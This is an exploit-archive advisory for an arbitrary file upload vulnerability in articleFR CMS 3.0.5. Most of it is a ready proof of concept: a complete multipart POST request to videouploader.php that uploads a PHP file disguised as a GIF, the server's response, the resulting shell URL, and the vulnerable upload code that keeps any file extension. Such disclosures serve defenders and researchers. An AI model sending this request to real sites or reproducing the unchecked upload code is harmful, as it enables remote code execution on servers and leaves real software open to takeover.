Arbitrary File Upload in articleFR CMS 3.0.5

vendor:

articleFR CMS

by:

Tran Dinh Tien & ITAS Team

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: articleFR CMS

Affected Version From: 3.0.5

Affected Version To: 3.0.5

Patch Exists: NO

Related CWE: N/A

CPE: a:articlefr:articlefr_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2015

Arbitrary File Upload in articleFR CMS 3.0.5

An arbitrary file upload vulnerability exists in articleFR CMS 3.0.5. An attacker can upload a malicious file to the server by sending a specially crafted POST request to the videouploader.php file. This can be exploited to execute arbitrary PHP code on the server.

Mitigation:

Restrict access to the vulnerable file and ensure that the file upload feature is only used for legitimate purposes.

Source

Exploit-DB raw data:

# Exploit Title: Arbitrary File Upload in articleFR CMS 3.0.5
# Google Dork: N/A
# Date: 01/21/2015
# Exploit Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://freereprintables.com
# Software Link: https://github.com/articlefr/articleFR
# Version: version 3.0.5 
# Tested on: Linux
# CVE : N/A


::PROOF OF CONCEPT::

- REQUEST:

POST /articlefr/dashboard/videouploader.php HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://target.org/articlefr/dashboard/videos/fileupload/
Content-Length: 414
Content-Type: multipart/form-data; boundary=---------------------------277651700022570
Cookie: GEAR=local-5422433b500446ead50002d4; PHPSESSID=uc86lsmbm53d73d572tvvec3v4; _ga=GA1.2.884814947.1419214773; __unam=bd22dea-14a6fcadd31-42cba495-9; _gat=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

-----------------------------277651700022570
Content-Disposition: form-data; name="myVideo"; filename="img.php"
Content-Type: image/gif

<?php 
phpinfo(); 
?>
-----------------------------277651700022570
Content-Disposition: form-data; name=""

undefined
-----------------------------277651700022570
Content-Disposition: form-data; name=""

undefined
-----------------------------277651700022570--



- RESPONSE:

HTTP/1.1 200 OK
Date: Mon, 22 Dec 2014 03:10:30 GMT
Server: Apache/2.2.15 (Red Hat)
Content-Type: text/html
Vary: Accept-Encoding
Accept-Ranges: none
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 36

[String_Random].php

- Shell link: http://target.org/articlefr2/dashboard/videos/[String_Random].php
- Vulnerable file: articlefr/dashboard/videouploader.php
- Vulnerable code:

<?php
$output_dir = dirname(dirname(__FILE__)) . "/videos_repository/";
if(isset($_FILES["myVideo"]))
{
	$ret = array();

	$error =$_FILES["myVideo"]["error"];
	
	if(!is_array($_FILES["myVideo"]["name"])) 
	{
 	 	$fileName = $_FILES["myVideo"]["name"];
 	 	$extension = pathinfo($fileName, PATHINFO_EXTENSION);
 	 	$newFileName = md5(uniqid() . $fileName) . '.' . $extension;
 	 	
 		move_uploaded_file($_FILES["myVideo"]["tmp_name"], $output_dir.$newFileName);
    	$ret[]= $newFileName;
	}
	
    echo $newFileName;
 }
 ?>



::REFERENCE::
- http://www.itas.vn/news/itas-team-phat-hien-lo-hong-arbitrarily-file-upload-trong-articlefr-cms-71.html


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